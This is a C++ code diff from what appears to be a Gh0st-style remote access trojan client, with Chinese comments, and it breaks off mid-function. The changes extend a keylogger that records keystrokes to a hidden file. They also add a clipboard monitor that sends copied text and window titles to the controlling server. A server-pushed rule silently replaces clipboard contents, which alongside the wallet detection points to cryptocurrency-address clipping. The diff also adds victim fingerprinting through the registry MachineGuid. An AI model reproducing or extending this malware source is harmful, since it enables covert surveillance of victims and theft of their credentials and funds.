uint64_t m_MyClientID = 0;
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
int RestoreMemDLL();
void SetLoginMsg(const std::string& msg)
{
m_LoginMsg = msg;
@@ -270,4 +294,6 @@ public:
}
};
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

View File

@@ -4,6 +4,7 @@
#include "Common.h"
#include "KeyboardManager.h"
#include "KernelManager.h"
#include <tchar.h>
#if ENABLE_KEYBOARD
@@ -25,6 +26,7 @@
#define USING_CLIP 0
#include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP
#include "clip.h"
#ifdef _WIN64
@@ -50,9 +52,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
clip::set_error_handler(NULL);
#endif
m_bIsOfflineRecord = offline;
char path[MAX_PATH] = { "C:\\Windows\\" };
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
std::string fileName = GetExeHashStr() + ".db";
GET_FILEPATH(path, fileName.c_str());
strcpy_s(m_strRecordFile, path);
m_Buffer = new CircularBuffer(m_strRecordFile);
@@ -60,6 +63,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -76,7 +86,10 @@ CKeyboardManager1::~CKeyboardManager1()
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
if (m_bIsOfflineRecord) {
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
}
delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this);
}
@@ -90,7 +103,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock();
sendStartKeyBoard();
m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen();
}
@@ -117,6 +133,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile);
}
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
}
std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -127,11 +153,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w;
}
int CKeyboardManager1::sendStartKeyBoard()
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{
BYTE bToken[2];
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}
@@ -494,27 +527,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0;
}
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
bool hasClipboard = clip::has(clip::text_format());
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {
Sleep(1000);
if (!clip::get_text(value)) {
Sleep(500);
continue;
}
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
}
// Wallet detection
auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue;
}
auto type = detectWalletType(value);
@@ -556,7 +628,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break;
}
}
Sleep(1000);
Sleep(500);
}
return 0x20251005;
}
@@ -572,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
HDESK desktop = NULL;
clock_t lastCheck = 0;
auto lastSave = time(0);
while(pThis->m_bIsWorking) {
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
#if USING_KB_HOOK
@@ -581,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
continue;
}
Sleep(5);
auto tm = time(0);
if (tm - lastSave > 600) {
lastSave = tm;
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
}
#if USING_KB_HOOK
clock_t now = clock();
if (now - lastCheck > 1000) {

View File

@@ -7,8 +7,6 @@
#include "Manager.h"
#include "stdafx.h"
#define KEYLOG_FILE "keylog.xml"
#if ENABLE_KEYBOARD==0
#define CKeyboardManager1 CManager
@@ -237,19 +235,25 @@ public:
HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
void EnableOfflineRecord(BOOL enable) {
m_bIsOfflineRecord = enable;
}
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
std::string ReplaceText();
private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard();
int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking;
CircularBuffer *m_Buffer;
CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet();
};

View File

@@ -213,19 +213,26 @@ std::string GetCurrentExeVersion()
std::string GetCurrentUserNameA()
{
char username[256];
DWORD size = sizeof(username);
if (GetUserNameA(username, &size)) {
return std::string(username);
} else {
// 用 W 接口取宽字符再转 UTF-8避免依赖系统 ANSI 代码页(中文账号名在英语系统上
// 用 GetUserNameA 取出来是 '?',与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致)。
wchar_t wname[256] = {};
DWORD wsize = _countof(wname);
if (!GetUserNameW(wname, &wsize)) {
return "Unknown";
}
char buf[256 * 3] = {};
if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
return "Unknown";
}
return std::string(buf);
}
#define XXH_INLINE_ALL
#include "common/xxhash.h"
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 老算法基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
// 注意pubIP 不稳定DHCP/换网络)会让 ID 跳变;同 hostname+同安装路径的多机会撞库。
// 保留此函数仅为协议兼容(老服务端仍按这个算法验算 RES_CLIENT_ID
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
{
std::string s;
@@ -236,6 +243,52 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
return XXH64(s.c_str(), s.length(), 0);
}
// 读取 Windows 安装时生成的机器 GUID。
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID
// 重装系统才会变局域网每台机器都不同即便同镜像sysprep 也会重置)。
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
std::string GetMachineGuidWindows()
{
HKEY hKey = NULL;
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
return std::string();
}
char buf[64] = {};
DWORD sz = sizeof(buf) - 1; // 留 1 字节给 NUL
DWORD type = 0;
LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
(BYTE*)buf, &sz);
RegCloseKey(hKey);
if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
return std::string(buf);
}
// 路径归一化:先尝试展开成长路径(如 PROGRA~1 -> Program Files再小写化。
// 用于 V2 ID 的输入,保证大小写或长短名变化时同一可执行文件得到同一 ID。
static std::string NormalizeExePathLower(const char* path)
{
char longPath[MAX_PATH] = {};
if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
// 展开失败(路径不存在等罕见情况):直接用原值
strcpy_s(longPath, path);
}
CharLowerA(longPath); // 原地小写化(对 ASCII 简单,对中文路径会按宽字符规则处理)
return std::string(longPath);
}
// 新算法machineGuid + 归一化路径
// - 同机同程序:永远同 ID不依赖 IP/PCName/OS/CPU
// - 局域网多机相同镜像MachineGuid 必不同 → ID 必不同。
// - 一台机两份程序在不同目录 → ID 不同。
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth)
{
std::string s = isAuth ? machineGuid : machineGuid + "|" + normalizedPath;
return XXH64(s.c_str(), s.length(), 0);
}
BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId());
@@ -260,7 +313,7 @@ BOOL IsAuthKernel(std::string &str) {
return isAuthKernel;
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate, bool isAuth)
{
std::string str = expiredDate;
iniFile cfg(CLIENT_PATH);
@@ -292,9 +345,18 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(getOSBits()); // 系统位数
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
// 路径分两份处理:
// - buf (CP_ACP): 保留给 CalcalateIDv2 / 老 CalculateID 用,保证升级后 client ID
// 不变(老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节,
// 若改成 UTF-8 同一物理路径会算出不同 ID丢授权/备注)。
// - utf8Path: 发给服务端的 RES_FILE_PATH与 CLIENT_CAP_UTF8 一致。
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // 文件路径
GetModuleFileNameA(NULL, buf, sizeof(buf)); // CP_ACP, 留给 ID 计算用
wchar_t wbuf[_MAX_PATH] = {};
GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
char utf8Path[_MAX_PATH * 3] = {}; // UTF-8 最多 3 字节/中文,给足
WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
LoginInfor.AddReserved(utf8Path); // 文件路径 (UTF-8 发给服务端显示)
LoginInfor.AddReserved("?"); // test
std::string installTime = cfg.GetStr("settings", "install_time");
if (installTime.empty()) {
@@ -306,7 +368,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
std::string masterHash(skCrypt(MASTER_HASH));
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
LoginInfor.AddReserved(str.c_str()); // 授权信息
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
@@ -332,9 +394,27 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
auto clientID = std::to_string(conn.clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
std::string clientID = cfg.GetStr("settings", "client_id");
if (clientID.empty()) {
// V2 ID 算法MachineGuid + 归一化路径
// - 同机同程序路径永远同 ID不依赖 IP/PCName/OS/CPU 漂移)
// - 局域网多机即便同镜像sysprep 会让 MachineGuid 各不同)也不撞库
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
} else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
}
cfg.SetStr("settings", "client_id", std::to_string(conn.clientID));
clientID = std::to_string(conn.clientID);
Mprintf("初始化此客户端的唯一标识为: %s\n", clientID.c_str());
}
else {
conn.clientID = std::stoull(clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
}
char reservedInfo[64];
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);

View File

@@ -5,7 +5,9 @@
#pragma comment(lib,"Vfw32.lib")
std::string GetMachineGuidWindows();
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
BOOL IsAuthKernel(std::string& str);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
DWORD CPUClockMHz();
BOOL WebCamIsExist();

View File

@@ -225,7 +225,7 @@ HDESK SelectDesktop(TCHAR* name)
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
CManager::CManager(IOCPClient* ClientObject, int n, void *p, BOOL b) : g_bExit(ClientObject->GetState())
{
m_bReady = TRUE;
m_ClientObject = ClientObject;

View File

@@ -11,9 +11,7 @@
#include "..\common\commands.h"
#include "IOCPClient.h"
#define ENABLE_VSCREEN 1
#define ENABLE_KEYBOARD 1
#include "common/config.h"
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
@@ -41,7 +39,7 @@ class CManager : public IOCPManager
public:
const State& g_bExit; // 1-被控端退出 2-主控端退出
BOOL m_bReady;
CManager(IOCPClient* ClientObject);
CManager(IOCPClient* ClientObject, int n=0, void* p=0, BOOL b=0);
virtual ~CManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
@@ -69,6 +67,14 @@ public:
{
return 0;
}
static bool IsConPTYSupported() {
return false;
}
void EnableOfflineRecord(BOOL enable) {
}
virtual BOOL Reconnect() {
return FALSE;
}
};
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)

View File

@@ -6,6 +6,9 @@
#include "RegisterManager.h"
#include "Common.h"
#include <IOSTREAM>
#if ENABLE_REGISTRY
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -56,3 +59,5 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
LocalFree(szBuffer);
}
}
#endif

View File

@@ -12,6 +12,10 @@
#include "Manager.h"
#include "RegisterOperation.h"
#if ENABLE_REGISTRY==0
#define CRegisterManager CManager
#else
class CRegisterManager : public CManager
{
public:
@@ -20,5 +24,6 @@ public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID Find(char bToken, char *szPath);
};
#endif
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

File diff suppressed because it is too large Load Diff

View File

@@ -13,8 +13,11 @@
#include <condition_variable>
#include <functional>
#include <future>
#include <memory>
#include <emmintrin.h> // SSE2
#include "X264Encoder.h"
#include "common/config.h"
#include "VideoEncoderBase.h"
#include "EncoderFactory.h"
#include "ScrollDetector.h"
#include "common/file_upload.h"
@@ -126,6 +129,7 @@ public:
ULONG* m_BlockSizes; // 分块差异像素数
int m_BlockNum; // 分块个数
int m_SendQuality; // 发送质量
int m_EncodeLevel; // 编码级别
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
@@ -145,7 +149,13 @@ public:
int m_FrameID; // 帧序号
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
CX264Encoder *m_encoder; // 编码器
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
// 且被 GetFirstScreenData 预先填过同帧像素,
// 导致首帧 memcmp 错误命中、跳过 encode、
// 永远不产 IDR → web 黑屏
int m_nScreenCount; // 屏幕数量
BOOL m_bEnableMultiScreen;// 多显示器支持
@@ -158,6 +168,13 @@ public:
int m_nInstructionSet = 0;
int m_nBitRate = 0; // H264 编码码率 (kbps), 0=自动
// 感兴趣区域 (ROI)
RECT m_ROI = {0,0,0,0};
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口NULL=保持原 HWND
int m_nScaleSendWidth = 0;
int m_nScaleSendHeight = 0;
// 自定义光标相关
DWORD m_dwLastCursorHash = 0; // 上次发送的光标哈希
DWORD m_dwLastCursorSendTime = 0; // 上次发送光标的时间
@@ -182,15 +199,18 @@ protected:
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
public:
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT,
RECT rc = {0}, BOOL switchScreen = TRUE) :
m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
m_SendKeyFrame(false), m_encoder(nullptr),
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
{
SetAlgorithm(algo);
m_ROI = rc;
m_BitmapInfor_Send = nullptr;
m_BmpZoomBuffer = nullptr;
m_BmpZoomFirst = nullptr;
@@ -201,7 +221,7 @@ public:
m_nScreenCount = monitors.size();
m_bEnableMultiScreen = all;
if (all && !monitors.empty()) {
int idx = index++ % (monitors.size()+1);
int idx = (switchScreen ? index++ : index) % (monitors.size()+1);
if (idx == 0) {
m_iScreenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
m_iScreenY = GetSystemMetrics(SM_YVIRTUALSCREEN);
@@ -255,7 +275,6 @@ public:
SAFE_DELETE_ARRAY(m_BlockSizes);
SAFE_DELETE(m_ThreadPool);
SAFE_DELETE(m_encoder);
SAFE_DELETE(m_pScrollDetector);
}
@@ -638,11 +657,10 @@ public:
// 写入算法类型
data[0] = algo;
// 写入光标位置
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
PointConversionInverse(CursorPos);
memcpy(data + 1, &CursorPos, sizeof(POINT));
// 写入当前光标类型(支持自定义光标)
@@ -839,6 +857,20 @@ public:
return bmpInfo;
}
// 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
void ensureEncoder(int width, int height)
{
if (m_encoder) return;
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~11→0触发内部 strdup 泄漏;< 2 一并拦住
EncoderRequest req;
req.width = width;
req.height = height;
req.fps = 20;
req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
req.encodeLevel = m_EncodeLevel;
m_encoder = CreateEncoder(req);
}
// 算法+光标位置+光标类型
virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
{
@@ -850,11 +882,10 @@ public:
// 写入使用了哪种算法
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
// 写入光标位置
// 写入光标位置(虚拟桌面绝对坐标 → 发送坐标系)
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
PointConversionInverse(CursorPos);
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型(支持自定义光标)
@@ -878,7 +909,8 @@ public:
bool shouldDetectScroll = !keyFrame && algo != ALGORITHM_H264 &&
m_bEnableScrollDetect && m_bServerSupportsScroll && m_pScrollDetector &&
!m_bLastFrameWasScroll && m_nScrollDetectInterval > 0 &&
(m_FrameID % m_nScrollDetectInterval == 0);
(m_FrameID % m_nScrollDetectInterval == 0) &&
!m_nScaleSendWidth;
if (shouldDetectScroll) {
int scrollAmount = m_pScrollDetector->DetectVerticalScroll(GetFirstBuffer(), nextData);
@@ -924,17 +956,17 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
if (m_encoder == nullptr) {
m_encoder = new CX264Encoder();
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
m_encoder->open(width, height, 20, BitRateToCRF(br));
}
ensureEncoder(width, height);
if (!m_encoder) return nullptr;
m_encoder->forceIDR(); // 协议层 keyframe → 编码器强制 IDR与 TOKEN_KEYFRAME 语义对齐
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
if (err) {
// encoded_size == 0硬编首帧延迟avcodec_receive_packet 返回 EAGAIN本帧无码流按失败跳过
if (err || encoded_size == 0) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
break;
}
default:
@@ -954,17 +986,34 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
if (m_encoder == nullptr) {
m_encoder = new CX264Encoder();
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
m_encoder->open(width, height, 20, BitRateToCRF(br));
ensureEncoder(width, height);
if (!m_encoder) return nullptr;
// 应用层 skip 检测硬编器nvenc/qsv/amf/mf/av1_*)对静态画面 RC 偏弱,
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
// 维持 100-200 KB/s每 4s GOP 还叠加一个 IDR。整帧 memcmp BGRA
// 找出真无变化帧直接跳过 encode仅发 cursorx264 走这里也省 CPU 无副作用。
//
// m_bEncoderPrimed 门encoder 还没产出过任何包时不允许 skip。
// 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full
// 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
// 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
LPBYTE prev = GetFirstBuffer();
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
*ulNextSendLength = 1 + offset; // 仅 cursor无视频负载
return m_RectBuffer;
}
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
if (err) {
// encoded_size == 0硬编首帧延迟本帧无码流按失败跳过
if (err || encoded_size == 0) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 这一刻起 prev 才有"已编码"语义skip 才安全
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
// 失败时下一帧会误以为"已发"而漏发真实变化。
memcpy(prev, nextData, bgraSize);
break;
}
default:
@@ -985,7 +1034,7 @@ public:
virtual BYTE SetAlgorithm(int algo)
{
BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo;
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
return oldAlgo;
}
@@ -1007,9 +1056,14 @@ public:
// 鼠标位置转换:将服务端坐标(基于发送分辨率)转换为客户端坐标(原始分辨率)
virtual void PointConversion(POINT& pt) const
{
// 0. ROI 偏移ROI 坐标系 → scale 坐标系
if (m_nScaleSendWidth) {
pt.x += m_ROI.left;
pt.y += m_ROI.top;
}
// 1. 处理图像缩小传输的坐标缩放maxWidth 限制)
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
int sendWidth = m_nScaleSendWidth ? m_nScaleSendWidth : (int)m_BitmapInfor_Send->bmiHeader.biWidth;
int sendHeight = m_nScaleSendHeight ? m_nScaleSendHeight : (int)m_BitmapInfor_Send->bmiHeader.biHeight;
if (sendWidth != m_ulFullWidth || sendHeight != m_ulFullHeight) {
pt.x = (LONG)(pt.x * (double)m_ulFullWidth / sendWidth + 0.5);
pt.y = (LONG)(pt.y * (double)m_ulFullHeight / sendHeight + 0.5);
@@ -1024,6 +1078,31 @@ public:
pt.y += m_iScreenY;
}
// 鼠标位置反向转换将客户端绝对坐标GetCursorPos转换为发送坐标系逐项是 PointConversion 的逆
virtual void PointConversionInverse(POINT& pt) const
{
// 3'. 减去屏幕偏移(多显示器)
pt.x -= m_iScreenX;
pt.y -= m_iScreenY;
// 2'. 反向 DPI 缩放
if (m_bZoomed) {
pt.x = (LONG)(pt.x / m_wZoom);
